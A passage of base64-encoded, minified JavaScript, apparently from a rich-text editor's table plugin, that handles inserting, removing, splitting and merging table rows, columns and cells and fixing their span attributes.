B0LnJldmVyc2UoKS5maW5kKCgoe2NvbHVtbjp0fSk9PnQ8aS5maXJzdCkpLmNlbGx9ZWxzZXtyZXR1cm4gdC5yZXZlcnNlKCkuZmluZCgoKHtjb2x1bW46dH0pPT50PmkubGFzdCkpLmNlbGx9fX1mdW5jdGlvbiBPTih0KXtjb25zdCBlPWlOKHQpO2NvbnN0IG49ZVswXTtjb25zdCBpPWUucG9wKCk7Y29uc3Qgbz1bbixpXTtyZXR1cm4gbi5pc0JlZm9yZShpKT9vOm8ucmV2ZXJzZSgpfWNsYXNzIFJOIGV4dGVuZHMgb0N7cmVmcmVzaCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgZT1pTih0LmRvY3VtZW50LnNlbGVjdGlvbik7Y29uc3Qgbj1lLmxlbmd0aD4wO3RoaXMuaXNFbmFibGVkPW47dGhpcy52YWx1ZT1uJiZlLmV2ZXJ5KCh0PT50aGlzLl9pc0luSGVhZGluZyh0LHQucGFyZW50LnBhcmVudCkpKX1leGVjdXRlKHQ9e30pe2lmKHQuZm9yY2VWYWx1ZT09PXRoaXMudmFsdWUpe3JldHVybn1jb25zdCBlPXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IG49aU4oZS5kb2N1bWVudC5zZWxlY3Rpb24pO2NvbnN0IGk9blswXS5maW5kQW5jZXN0b3IoInRhYmxlIik7Y29uc3R7Zmlyc3Q6byxsYXN0OnJ9PW9OKG4pO2NvbnN0IHM9dGhpcy52YWx1ZT9vOnIrMTtjb25zdCBhPWkuZ2V0QXR0cmlidXRlKCJoZWFkaW5nUm93cyIpfHwwO2UuY2hhbmdlKCh0PT57aWYocyl7Y29uc3QgZT1zPmE/YTowO2NvbnN0IG49a04oaSxzLGUpO2Zvcihjb25zdHtjZWxsOmV9b2Ygbil7Yk4oZSxzLHQpfX15SSgiaGVhZGluZ1Jvd3MiLHMsaSx0LDApfSkpfV9pc0luSGVhZGluZyh0LGUpe2NvbnN0IG49cGFyc2VJbnQoZS5nZXRBdHRyaWJ1dGUoImhlYWRpbmdSb3dzIil8fDApO3JldHVybiEhbiYmdC5wYXJlbnQuaW5kZXg8bn19Y2xhc3Mgak4gZXh0ZW5kcyBvQ3tyZWZyZXNoKCl7Y29uc3QgdD10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBlPWlOKHQuZG9jdW1lbnQuc2VsZWN0aW9uKTtjb25zdCBuPXRoaXMuZWRpdG9yLnBsdWdpbnMuZ2V0KCJUYWJsZVV0aWxzIik7Y29uc3QgaT1lLmxlbmd0aD4wO3RoaXMuaXNFbmFibGVkPWk7dGhpcy52YWx1ZT1pJiZlLmV2ZXJ5KCh0PT5ESShuLHQpKSl9ZXhlY3V0ZSh0PXt9KXtpZih0LmZvcmNlVmFsdWU9PT10aGlzLnZhbHVlKXtyZXR1cm59Y29uc3QgZT10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBuPWlOKGUuZG9jdW1lbnQuc2VsZWN0aW9uKTtjb25zdCBpPW5bMF0uZmluZEFuY2VzdG9yKCJ0YWJsZSIpO2NvbnN0e2ZpcnN0Om8sbGFzdDpyfT1yTihuKTtjb25zdCBzPXRoaXMudmFsdWU/bzpyKzE7ZS5jaGFuZ2UoKHQ9PntpZihzKXtjb25zdCBlPXdOKGkscyk7Zm9yKGNvbnN0e2NlbGw6bixjb2x1bW46aX1vZiBlKXtDTihuLGkscyx0KX19eUkoImhlYWRpbmdDb2x1bW5zIixzLGksdCwwKX0pKX19Y2xhc3MgRk4gZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iVGFibGVVdGlscyJ9aW5pdCgpe3RoaXMuZGVjb3JhdGUoImluc2VydENvbHVtbnMiKTt0aGlzLmRlY29yYXRlKCJpbnNlcnRSb3dzIil9Z2V0Q2VsbExvY2F0aW9uKHQpe2NvbnN0IGU9dC5wYXJlbnQ7Y29uc3Qgbj1lLnBhcmVudDtjb25zdCBpPW4uZ2V0Q2hpbGRJbmRleChlKTtjb25zdCBvPW5ldyBJSShuLHtyb3c6aX0pO2Zvcihjb25zdHtjZWxsOmUscm93Om4sY29sdW1uOml9b2Ygbyl7aWYoZT09PXQpe3JldHVybntyb3c6bixjb2x1bW46aX19fX1jcmVhdGVUYWJsZSh0LGUpe2NvbnN0IG49dC5jcmVhdGVFbGVtZW50KCJ0YWJsZSIpO2NvbnN0IGk9cGFyc2VJbnQoZS5yb3dzKXx8Mjtjb25zdCBvPXBhcnNlSW50KGUuY29sdW1ucyl8fDI7Vk4odCxuLDAsaSxvKTtpZihlLmhlYWRpbmdSb3dzKXt5SSgiaGVhZGluZ1Jvd3MiLGUuaGVhZGluZ1Jvd3Msbix0LDApfWlmKGUuaGVhZGluZ0NvbHVtbnMpe3lJKCJoZWFkaW5nQ29sdW1ucyIsZS5oZWFkaW5nQ29sdW1ucyxuLHQsMCl9cmV0dXJuIG59aW5zZXJ0Um93cyh0LGU9e30pe2NvbnN0IG49dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgaT1lLmF0fHwwO2NvbnN0IG89ZS5yb3dzfHwxO2NvbnN0IHI9ZS5jb3B5U3RydWN0dXJlRnJvbUFib3ZlIT09dW5kZWZpbmVkO2NvbnN0IHM9ZS5jb3B5U3RydWN0dXJlRnJvbUFib3ZlP2ktMTppO2NvbnN0IGE9dGhpcy5nZXRSb3dzKHQpO2NvbnN0IGM9dGhpcy5nZXRDb2x1bW5zKHQpO24uY2hhbmdlKChlPT57Y29uc3Qgbj10LmdldEF0dHJpYnV0ZSgiaGVhZGluZ1Jvd3MiKXx8MDtpZihuPmkpe3lJKCJoZWFkaW5nUm93cyIsbitvLHQsZSwwKX1pZighciYmKGk9PT0wfHxpPT09YSkpe1ZOKGUsdCxpLG8sYyk7cmV0dXJufWNvbnN0IGw9cj9NYXRoLm1heChpLHMpOmk7Y29uc3QgZD1uZXcgSUkodCx7ZW5kUm93Omx9KTtjb25zdCB1PW5ldyBBcnJheShjKS5maWxsKDEpO2Zvcihjb25zdHtyb3c6dCxjb2x1bW46bixjZWxsSGVpZ2h0OmEsY2VsbFdpZHRoOmMsY2VsbDpsfW9mIGQpe2NvbnN0IGQ9dCthLTE7Y29uc3QgaD10PGkmJmk8PWQ7Y29uc3QgZj10PD1zJiZzPD1kO2lmKGgpe2Uuc2V0QXR0cmlidXRlKCJyb3dzcGFuIixhK28sbCk7dVtuXT0tY31lbHNlIGlmKHImJmYpe3Vbbl09Y319Zm9yKGxldCBuPTA7bjxvO24rKyl7Y29uc3Qgbj1lLmNyZWF0ZUVsZW1lbnQoInRhYmxlUm93Iik7ZS5pbnNlcnQobix0LGkpO2ZvcihsZXQgdD0wO3Q8dS5sZW5ndGg7dCsrKXtjb25zdCBpPXVbdF07Y29uc3Qgbz1lLmNyZWF0ZVBvc2l0aW9uQXQobiwiZW5kIik7aWYoaT4wKXt4SShlLG8saT4xP3tjb2xzcGFuOml9Om51bGwpfXQrPU1hdGguYWJzKGkpLTF9fX0pKX1pbnNlcnRDb2x1bW5zKHQsZT17fSl7Y29uc3Qgbj10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBpPWUuYXR8fDA7Y29uc3Qgbz1lLmNvbHVtbnN8fDE7bi5jaGFuZ2UoKGU9Pntjb25zdCBuPXQuZ2V0QXR0cmlidXRlKCJoZWFkaW5nQ29sdW1ucyIpO2lmKGk8bil7ZS5zZXRBdHRyaWJ1dGUoImhlYWRpbmdDb2x1bW5zIixuK28sdCl9Y29uc3Qgcj10aGlzLmdldENvbHVtbnModCk7aWYoaT09PTB8fHI9PT1pKXtmb3IoY29uc3QgbiBvZiB0LmdldENoaWxkcmVuKCkpe1VOKG8sZSxlLmNyZWF0ZVBvc2l0aW9uQXQobixpPyJlbmQiOjApKX1yZXR1cm59Y29uc3Qgcz1uZXcgSUkodCx7Y29sdW1uOmksaW5jbHVkZUFsbFNsb3RzOnRydWV9KTtmb3IoY29uc3QgdCBvZiBzKXtjb25zdHtyb3c6bixjZWxsOnIsY2VsbEFuY2hvckNvbHVtbjphLGNlbGxBbmNob3JSb3c6YyxjZWxsV2lkdGg6bCxjZWxsSGVpZ2h0OmR9PXQ7aWYoYTxpKXtlLnNldEF0dHJpYnV0ZSgiY29sc3BhbiIsbCtvLHIpO2NvbnN0IHQ9YytkLTE7Zm9yKGxldCBlPW47ZTw9dDtlKyspe3Muc2tpcFJvdyhlKX19ZWxzZXtVTihvLGUsdC5nZXRQb3NpdGlvbkJlZm9yZSgpKX19fSkpfXJlbW92ZVJvd3ModCxlKXtjb25zdCBuPXRoaXMuZWRpdG9yLm1vZGVsO2NvbnN0IGk9ZS5yb3dzfHwxO2NvbnN0IG89ZS5hdDtjb25zdCByPW8raS0xO24uY2hhbmdlKChlPT57Y29uc3R7Y2VsbHNUb01vdmU6bixjZWxsc1RvVHJpbTppfT1LTih0LG8scik7aWYobi5zaXplKXtjb25zdCBpPXIrMTtxTih0LGksbixlKX1mb3IobGV0IG49cjtuPj1vO24tLSl7ZS5yZW1vdmUodC5nZXRDaGlsZChuKSl9Zm9yKGNvbnN0e3Jvd3NwYW46dCxjZWxsOm59b2YgaSl7eUkoInJvd3NwYW4iLHQsbixlKX1XTih0LG8scixlKTtpZighdk4odCx0aGlzKSl7eU4odCx0aGlzKX19KSl9cmVtb3ZlQ29sdW1ucyh0LGUpe2NvbnN0IG49dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgaT1lLmF0O2NvbnN0IG89ZS5jb2x1bW5zfHwxO2NvbnN0IHI9ZS5hdCtvLTE7bi5jaGFuZ2UoKGU9PntHTih0LHtmaXJzdDppLGxhc3Q6cn0sZSk7Zm9yKGxldCBuPXI7bj49aTtuLS0pe2Zvcihjb25zdHtjZWxsOmksY29sdW1uOm8sY2VsbFdpZHRoOnJ9b2ZbLi4ubmV3IElJKHQpXSl7aWYobzw9biYmcj4xJiZvK3I+bil7eUkoImNvbHNwYW4iLHItMSxpLGUpfWVsc2UgaWYobz09PW4pe2UucmVtb3ZlKGkpfX19aWYoIXlOKHQsdGhpcykpe3ZOKHQsdGhpcyl9fSkpfXNwbGl0Q2VsbFZlcnRpY2FsbHkodCxlPTIpe2NvbnN0IG49dGhpcy5lZGl0b3IubW9kZWw7Y29uc3QgaT10LnBhcmVudDtjb25zdCBvPWkucGFyZW50O2NvbnN0IHI9cGFyc2VJbnQodC5nZXRBdHRyaWJ1dGUoInJvd3NwYW4iKXx8MSk7Y29uc3Qgcz1wYXJzZUludCh0LmdldEF0dHJpYnV0ZSgiY29sc3BhbiIpfHwxKTtuLmNoYW5nZSgobj0+e2lmKHM+MSl7Y29uc3R7bmV3Q2VsbHNTcGFuOmksdXBkYXRlZFNwYW46b309SE4ocyxlKTt5SSgiY29sc3BhbiIsbyx0LG4pO2NvbnN0IGE9e307aWYoaT4xKXthLmNvbHNwYW49aX1pZihyPjEpe2Eucm93c3Bhbj1yfWNvbnN0IGM9cz5lP2UtMTpzLTE7VU4oYyxuLG4uY3JlYXRlUG9zaXRpb25BZnRlcih0KSxhKX1pZihzPGUpe2NvbnN0IGk9ZS1zO2NvbnN0IGE9Wy4uLm5ldyBJSShvKV07Y29uc3R7Y29sdW1uOmN9PWEuZmluZCgoKHtjZWxsOmV9KT0+ZT09PXQpKTtjb25zdCBsPWEuZmlsdGVyKCgoe2NlbGw6ZSxjZWxsV2lkdGg6bixjb2x1bW46aX0pPT57Y29uc3Qgbz1lIT09dCYmaT09PWM7Y29uc3Qgcj1pPGMmJmkrbj5jO3JldHVybiBvfHxyfSkpO2Zvcihjb25zdHtjZWxsOnQsY2VsbFdpZHRoOmV9b2YgbCl7bi5zZXRBdHRyaWJ1dGUoImNvbHNwYW4iLGUraSx0KX1jb25zdCBkPXt9O2lmKHI+MSl7ZC5yb3dzcGFuPXJ9VU4oaSxuLG4uY3JlYXRlUG9zaXRpb25BZnRlcih0KSxkKTtjb25zdCB1PW8uZ2V0QXR0cmlidXRlKCJoZWFkaW5nQ29sdW1ucyIpfHwwO2lmKHU+Yyl7eUkoImhlYWRpbmdDb2x1bW5zIix1K2ksbyxuKX19fSkpfXNwbGl0Q2VsbEhvcml6b250YWxseSh0LGU9Mil7Y29uc3Qgbj10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBpPXQucGFyZW50O2NvbnN0IG89aS5wYXJlbnQ7Y29uc3Qgcj1vLmdldENoaWxkSW5kZXgoaSk7Y29uc3Qgcz1wYXJzZUludCh0LmdldEF0dHJpYnV0ZSgicm93c3BhbiIpfHwxKTtjb25zdCBhPXBhcnNlSW50KHQuZ2V0QXR0cmlidXRlKCJjb2xzcGFuIil8fDEpO24uY2hhbmdlKChuPT57aWYocz4xKXtjb25zdCBpPVsuLi5uZXcgSUkobyx7c3RhcnRSb3c6cixlbmRSb3c6citzLTEsaW5jbHVkZUFsbFNsb3RzOnRydWV9KV07Y29uc3R7bmV3Q2VsbHNTcGFuOmMsdXBkYXRlZFNwYW46bH09SE4ocyxlKTt5SSgicm93c3BhbiIsbCx0LG4pO2NvbnN0e2NvbHVtbjpkfT1pLmZpbmQoKCh7Y2VsbDplfSk9PmU9PT10KSk7Y29uc3QgdT17fTtpZihjPjEpe3Uucm93c3Bhbj1jfWlmKGE+MSl7dS5jb2xzcGFuPWF9Zm9yKGNvbnN0IHQgb2YgaSl7Y29uc3R7Y29sdW1uOmUscm93Oml9PXQ7Y29uc3Qgbz1pPj1yK2w7Y29uc3Qgcz1lPT09ZDtjb25zdCBhPShpK3IrbCklYz09PTA7aWYobyYmcyYmYSl7VU4oMSxuLHQuZ2V0UG9zaXRpb25CZWZvcmUoKSx1KX19fWlmKHM8ZSl7Y29uc3QgaT1lLXM7Y29uc3QgYz1bLi4ubmV3IElJKG8se3N0YXJ0Um93OjAsZW5kUm93OnJ9KV07Zm9yKGNvbnN0e2NlbGw6ZSxjZWxsSGVpZ2h0Om8scm93OnN9b2YgYyl7aWYoZSE9PXQmJnMrbz5yKXtjb25zdCB0PW8raTtuLnNldEF0dHJpYnV0ZSgicm93c3BhbiIsdCxlKX19Y29uc3QgbD17fTtpZihhPjEpe2wuY29sc3Bhbj1hfVZOKG4sbyxyKzEsaSwxLGwpO2NvbnN0IGQ9by5nZXRBdHRyaWJ1dGUoImhlYWRpbmdSb3dzIil8fDA7aWYoZD5yKXt5SSgiaGVhZGluZ1Jvd3MiLGQraSxvLG4pfX19KSl9Z2V0Q29sdW1ucyh0KXtjb25zdCBlPXQuZ2V0Q2hpbGQoMCk7cmV0dXJuWy4uLmUuZ2V0Q2hpbGRyZW4oKV0ucmVkdWNlKCgodCxlKT0+e2NvbnN0IG49cGFyc2VJbnQoZS5nZXRBdHRyaWJ1dGUoImNvbHNwYW4iKXx8MSk7cmV0dXJuIHQrbn0pLDApfWdldFJvd3ModCl7cmV0dXJuIHQuY2hpbGRDb3VudH19ZnVuY3Rpb24gVk4odCxlLG4saSxvLHI9e30pe2ZvcihsZXQgcz0wO3M8aTtzKyspe2NvbnN0IGk9dC5jcmVhdGVFbGVtZW50KCJ0YWJsZVJvdyIpO3QuaW5zZXJ0KGksZSxuKTtVTihvLHQsdC5jcmVhdGVQb3NpdGlvbkF0KGksImVuZCIpLHIpfX1mdW5jdGlvbiBVTih0LGUsbixpPXt9KXtmb3IobGV0IG89MDtvPHQ7bysrKXt4SShlLG4saSl9fWZ1bmN0aW9uIEhOKHQsZSl7aWYodDxlKXtyZXR1cm57bmV3Q2VsbHNTcGFuOjEsdXBkYXRlZFNwYW46MX19Y29uc3Qgbj1NYXRoLmZsb29yKHQvZSk7Y29uc3QgaT10LW4qZStuO3JldHVybntuZXdDZWxsc1NwYW46bix1cGRhdGVkU3BhbjppfX1mdW5jdGlvbiBHTih0LGUsbil7Y29uc3QgaT10LmdldEF0dHJpYnV0ZSgiaGVhZGluZ0NvbHVtbnMiKXx8MDtpZihpJiZlLmZpcnN0PGkpe2NvbnN0IG89TWF0aC5taW4oaS0xLGUubGFzdCktZS5maXJzdCsxO24uc2V0QXR0cmlidXRlKCJoZWFkaW5nQ29sdW1ucyIsaS1vLHQpfX1mdW5jdGlvbiBXTih0LGUsbixpKXtjb25zdCBvPXQuZ2V0QXR0cmlidXRlKCJoZWFkaW5nUm93cyIpfHwwO2lmKGU8byl7Y29uc3Qgcj1uPG8/by0obi1lKzEpOmU7eUkoImhlYWRpbmdSb3dzIixyLHQsaSwwKX19ZnVuY3Rpb24gS04odCxlLG4pe2NvbnN0IGk9bmV3IE1hcDtjb25zdCBvPVtdO2Zvcihjb25zdHtyb3c6cixjb2x1bW46cyxjZWxsSGVpZ2h0OmEsY2VsbDpjfW9mIG5ldyBJSSh0LHtlbmRSb3c6bn0pKXtjb25zdCB0PXIrYS0xO2NvbnN0IGw9cj49ZSYmcjw9biYmdD5uO2lmKGwpe2NvbnN0IHQ9bi1yKzE7Y29uc3QgZT1hLXQ7aS5zZXQocyx7Y2VsbDpjLHJvd3NwYW46ZX0pfWNvbnN0IGQ9cjxlJiZ0Pj1lO2lmKGQpe2xldCBpO2lmKHQ+PW4pe2k9bi1lKzF9ZWxzZXtpPXQtZSsxfW8ucHVzaCh7Y2VsbDpjLHJvd3NwYW46YS1pfSl9fXJldHVybntjZWxsc1RvTW92ZTppLGNlbGxzVG9UcmltOm99fWZ1bmN0aW9uIHFOKHQsZSxuLGkpe2NvbnN0IG89bmV3IElJKHQse2luY2x1ZGVBbGxTbG90czp0cnVlLHJvdzplfSk7Y29uc3Qgcj1bLi4ub107Y29uc3Qgcz10LmdldENoaWxkKGUpO2xldCBhO2Zvcihjb25zdHtjb2x1bW46dCxjZWxsOmUsaXNBbmNob3I6b31vZiByKXtpZihuLmhhcyh0KSl7Y29uc3R7Y2VsbDplLHJvd3NwYW46b309bi5nZXQodCk7Y29uc3Qgcj1hP2kuY3JlYXRlUG9zaXRpb25BZnRlcihhKTppLmNyZWF0ZVBvc2l0aW9uQXQocywwKTtpLm1vdmUoaS5jcmVhdGVSYW5nZU9uKGUpLHIpO3lJKCJyb3dzcGFuIixvLGUsaSk7YT1lfWVsc2UgaWYobyl7YT1lfX19Y2xhc3MgWU4gZXh0ZW5kcyBvQ3tyZWZyZXNoKCl7Y29uc3QgdD1lTih0aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb24pO3RoaXMuaXNFbmFibGVkPXNOKHQsdGhpcy5lZGl0b3IucGx1Z2lucy5nZXQoRk4pKX1leGVjdXRlKCl7Y29uc3QgdD10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBlPXRoaXMuZWRpdG9yLnBsdWdpbnMuZ2V0KEZOKTt0LmNoYW5nZSgobj0+e2NvbnN0IGk9ZU4odC5kb2N1bWVudC5zZWxlY3Rpb24pO2NvbnN0IG89aS5zaGlmdCgpO2NvbnN0e21lcmdlV2lkdGg6cixtZXJnZUhlaWdodDpzfT1KTihvLGksZSk7eUkoImNvbHNwYW4iLHIsbyxuKTt5SSgicm93c3BhbiIscyxvLG4pO2Zvcihjb25zdCB0IG9mIGkpe1FOKHQsbyxuKX1jb25zdCBhPW8uZmluZEFuY2VzdG9yKCJ0YWJsZSIpO3hOKGEsZSk7bi5zZXRTZWxlY3Rpb24obywiaW4iKX0pKX19ZnVuY3Rpb24gUU4odCxlLG4pe2lmKCEkTih0KSl7aWYoJE4oZSkpe24ucmVtb3ZlKG4uY3JlYXRlUmFuZ2VJbihlKSl9bi5tb3ZlKG4uY3JlYXRlUmFuZ2VJbih0KSxuLmNyZWF0ZVBvc2l0aW9uQXQoZSwiZW5kIikpfW4ucmVtb3ZlKHQpfWZ1bmN0aW9uICROKHQpe3JldHVybiB0LmNoaWxkQ291bnQ9PTEmJnQuZ2V0Q2hpbGQoMCkuaXMoImVsZW1lbnQiLCJwYXJhZ3JhcGgiKSYmdC5nZXRDaGlsZCgwKS5pc0VtcHR5fWZ1bmN0aW9uIEpOKHQsZSxuKXtsZXQgaT0wO2xldCBvPTA7Zm9yKGNvbnN0IHQgb2YgZSl7Y29uc3R7cm93OmUsY29sdW1uOnJ9PW4uZ2V0Q2VsbExvY2F0aW9uKHQpO2k9Wk4odCxyLGksImNvbHNwYW4iKTtvPVpOKHQsZSxvLCJyb3dzcGFuIil9Y29uc3R7cm93OnIsY29sdW1uOnN9PW4uZ2V0Q2VsbExvY2F0aW9uKHQpO2NvbnN0IGE9aS1zO2NvbnN0IGM9by1yO3JldHVybnttZXJnZVdpZHRoOmEsbWVyZ2VIZWlnaHQ6Y319ZnVuY3Rpb24gWk4odCxlLG4saSl7Y29uc3Qgbz1wYXJzZUludCh0LmdldEF0dHJpYnV0ZShpKXx8MSk7cmV0dXJuIE1hdGgubWF4KG4sZStvKX1jbGFzcyBYTiBleHRlbmRzIG9De3JlZnJlc2goKXtjb25zdCB0PWlOKHRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbik7dGhpcy5pc0VuYWJsZWQ9dC5sZW5ndGg+MH1leGVjdXRlKCl7Y29uc3QgdD10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBlPWlOKHQuZG9jdW1lbnQuc2VsZWN0aW9uKTtjb25zdCBuPW9OKGUpO2NvbnN0IGk9ZVswXS5maW5kQW5jZXN0b3IoInRhYmxlIik7Y29uc3Qgbz1bXTtmb3IobGV0IGU9bi5maXJzdDtlPD1uLmxhc3Q7ZSsrKXtmb3IoY29uc3QgbiBvZiBpLmdldENoaWxkKGUpLmdldENoaWxkcmVuKCkpe28ucHVzaCh0LmNyZWF0ZVJhbmdlT24obikpfX10LmNoYW5nZSgodD0+e3Quc2V0U2VsZWN0aW9uKG8pfSkpfX1jbGFzcyB0QiBleHRlbmRzIG9De3JlZnJlc2goKXtjb25zdCB0PWlOKHRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbik7dGhpcy5pc0VuYWJsZWQ9dC5sZW5ndGg+MH1leGVjdXRlKCl7Y29uc3QgdD10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBlPWlOKHQuZG9jdW1lbnQuc2VsZWN0aW9uKTtjb25zdCBuPWVbMF07Y29uc3QgaT1lLnBvcCgpO2NvbnN0IG89bi5maW5kQW5jZXN0b3IoInRhYmxlIik7Y29uc3Qgcj10aGlzLmVkaXRvci5wbHVnaW5zLmdldCgiVGFibGVVdGlscyIpO2NvbnN0IHM9ci5nZXRDZWxsTG9jYXRpb24obik7Y29uc3QgYT1yLmdldENlbGxMb2NhdGlvbihpKTtjb25zdCBjPU1hdGgubWluKHMuY29sdW1uLGEuY29sdW1uKTtjb25zdCBsPU1hdGgubWF4KHMuY29sdW1uLGEuY29sdW1uKTtjb25zdCBkPVtdO2Zvcihjb25zdCBlIG9mIG5ldyBJSShvLHtzdGFydENvbHVtbjpjLGVuZENvbHVtbjpsfSkpe2QucHVzaCh0LmNyZWF0ZVJhbmdlT24oZS5jZWxsKSl9dC5jaGFuZ2UoKHQ9Pnt0LnNldFNlbGVjdGlvbihkKX0pKX19ZnVuY3Rpb24gZUIodCl7dC5kb2N1bWVudC5yZWdpc3RlclBvc3RGaXhlcigoZT0+bkIoZSx0KSkpfWZ1bmN0aW9uIG5CKHQsZSl7Y29uc3Qgbj1lLmRvY3VtZW50LmRpZmZlci5nZXRDaGFuZ2VzKCk7bGV0IGk9ZmFsc2U7Y29uc3Qgbz1uZXcgU2V0O2Zvcihjb25zdCBlIG9mIG4pe2xldCBuO2lmKGUubmFtZT09InRhYmxlIiYmZS50eXBlPT0iaW5zZXJ0Iil7bj1lLnBvc2l0aW9uLm5vZGVBZnRlcn1pZihlLm5hbWU9PSJ0YWJsZVJvdyJ8fGUubmFtZT09InRhYmxlQ2VsbCIpe249ZS5wb3NpdGlvbi5maW5kQW5jZXN0b3IoInRhYmxlIil9aWYoYUIoZSkpe249ZS5yYW5nZS5zdGFydC5maW5kQW5jZXN0b3IoInRhYmxlIil9aWYobiYmIW8uaGFzKG4pKXtpPWlCKG4sdCl8fGk7aT1vQihuLHQpfHxpO28uYWRkKG4pfX1yZXR1cm4gaX1mdW5jdGlvbiBpQih0LGUpe2xldCBuPWZhbHNlO2NvbnN0IGk9ckIodCk7aWYoaS5sZW5ndGgpe249dHJ1ZTtmb3IoY29uc3QgdCBvZiBpKXt5SSgicm93c3BhbiIsdC5yb3dzcGFuLHQuY2VsbCxlLDEpfX1yZXR1cm4gbn1mdW5jdGlvbiBvQih0LGUpe2xldCBuPWZhbHNlO2NvbnN0IGk9c0IodCk7Y29uc3Qgbz1bXTtmb3IoY29uc3RbdCxlXW9mIGkuZW50cmllcygpKXtpZighZSl7by5wdXNoKHQpfX1pZihvLmxlbmd0aCl7bj10cnVlO2Zvcihjb25zdCBuIG9mIG8ucmV2ZXJzZSgpKXtlLnJlbW92ZSh0LmdldENoaWxkKG4pKTtpLnNwbGljZShuLDEpfX1jb25zdCByPWlbMF07Y29uc3Qgcz1pLmV2ZXJ5KCh0PT50PT09cikpO2lmKCFzKXtjb25zdCBvPWkucmVkdWNlKCgodCxlKT0+ZT50P2U6dCksMCk7Zm9yKGNvbnN0W3Isc11vZiBpLmVudHJpZXMoKSl7Y29uc3QgaT1vLXM7aWYoaSl7Zm9yKGxldCBuPTA7bjxpO24rKyl7eEkoZSxlLmNyZWF0ZVBvc2l0aW9uQXQodC5nZXRDaGlsZChyKSwiZW5kIikpfW49dHJ1ZX19fXJldHVybiBufWZ1bmN0aW9uIHJCKHQpe2NvbnN0IGU9cGFyc2VJbnQodC5nZXRBdHRyaWJ1dGUoImhlYWRpbmdSb3dzIil8fDApO2NvbnN0IG49dC5jaGlsZENvdW50O2NvbnN0IGk9W107Zm9yKGNvbnN0e3JvdzpvLGNlbGw6cixjZWxsSGVpZ2h0OnN9b2YgbmV3IElJKHQpKXtpZihzPDIpe2NvbnRpbnVlfWNvbnN0IHQ9bzxlO2NvbnN0IGE9dD9lOm47aWYobytzPmEpe2NvbnN0IHQ9YS1vO2kucHVzaCh7Y2VsbDpyLHJvd3NwYW46dH0pfX1yZXR1cm4gaX1mdW5jdGlvbiBzQih0KXtjb25zdCBlPW5ldyBBcnJheSh0LmNoaWxkQ291bnQpLmZpbGwoMCk7Zm9yKGNvbnN0e3JvdzpufW9mIG5ldyBJSSh0LHtpbmNsdWRlQWxsU2xvdHM6dHJ1ZX0pKXtlW25dKyt9cmV0dXJuIGV9ZnVuY3Rpb24gYUIodCl7Y29uc3QgZT10LnR5cGU9PT0iYXR0cmlidXRlIjtjb25zdCBuPXQuYXR0cmlidXRlS2V5O3JldHVybiBlJiYobj09PSJoZWFkaW5nUm93cyJ8fG49PT0iY29sc3BhbiJ8fG49PT0icm93c3BhbiIpfWZ1bmN0aW9uIGNCKHQpe3QuZG9jdW1lbnQucmVnaXN0ZXJQb3N0Rml4ZXIoKGU9PmxCKGUsdCkpKX1mdW5jdGlvbiBsQih0LGUpe2NvbnN0IG49ZS5kb2N1bWVudC5kaWZmZXIuZ2V0Q2hhbmdlcygpO2xldCBpPWZhbHNlO2Zvcihjb25zdCBlIG9mIG4pe2lmKGUudHlwZT09Imluc2VydCImJmUubmFtZT09InRhYmxlIil7aT1kQihlLnBvc2l0aW9uLm5vZGVBZnRlcix0KXx8aX1pZihlLnR5cGU9PSJpbnNlcnQiJiZlLm5hbWU9PSJ0YWJsZVJvdyIpe2k9dUIoZS5wb3NpdGlvbi5ub2RlQWZ0ZXIsdCl8fGl9aWYoZS50eXBlPT0iaW5zZXJ0IiYmZS5uYW1lPT0idGFibGVDZWxsIil7aT1oQihlLnBvc2l0aW9uLm5vZGVBZnRlcix0KXx8aX1pZihmQihlKSl7aT1oQihlLnBvc2l0aW9uLnBhcmVudCx0KXx8aX19cmV0dXJuIGl9ZnVuY3Rpb24gZEIodCxlKXtsZXQgbj1mYWxzZTtmb3IoY29uc3QgaSBvZiB0LmdldENoaWxkcmVuKCkpe249dUIoaSxlKXx8bn1yZXR1cm4gbn1mdW5jdGlvbiB1Qih0LGUpe2xldCBuPWZhbHNlO2Zvcihjb25zdCBpIG9mIHQuZ2V0Q2hpbGRyZW4oKSl7bj1oQihpLGUpfHxufXJldHVybiBufWZ1bmN0aW9uIGhCKHQsZSl7aWYodC5jaGlsZENvdW50PT0wKXtlLmluc2VydEVsZW1lbnQoInBhcmFncmFwaCIsdCk7cmV0dXJuIHRydWV9Y29uc3Qgbj1BcnJheS5mcm9tKHQuZ2V0Q2hpbGRyZW4oKSkuZmlsdGVyKCh0PT50LmlzKCIkdGV4dCIpKSk7Zm9yKGNvbnN0IHQgb2Ygbil7ZS53cmFwKGUuY3JlYXRlUmFuZ2VPbih0KSwicGFyYWdyYXBoIil9cmV0dXJuISFuLmxlbmd0aH1mdW5jdGlvbiBmQih0KXtpZighdC5wb3NpdGlvbnx8IXQucG9zaXRpb24ucGFyZW50LmlzKCJlbGVtZW50IiwidGFibGVDZWxsIikpe3JldHVybiBmYWxzZX1yZXR1cm4gdC50eXBlPT0iaW5zZXJ0IiYmdC5uYW1lPT0iJHRleHQifHx0LnR5cGU9PSJyZW1vdmUifWZ1bmN0aW9uIG1CKHQsZSl7dC5kb2N1bWVudC5yZWdpc3RlclBvc3RGaXhlcigoKCk9PmdCKHQuZG9jdW1lbnQuZGlmZmVyLGUpKSl9ZnVuY3Rpb24gZ0IodCxlKXtjb25zdCBuPW5ldyBTZXQ7Zm9yKGNvbnN0IGUgb2YgdC5nZXRDaGFuZ2VzKCkpe2NvbnN0IHQ9ZS50eXBlPT0iYXR0cmlidXRlIj9lLnJhbmdlLnN0YXJ0LnBhcmVudDplLnBvc2l0aW9uLnBhcmVudDtpZih0LmlzKCJlbGVtZW50Ii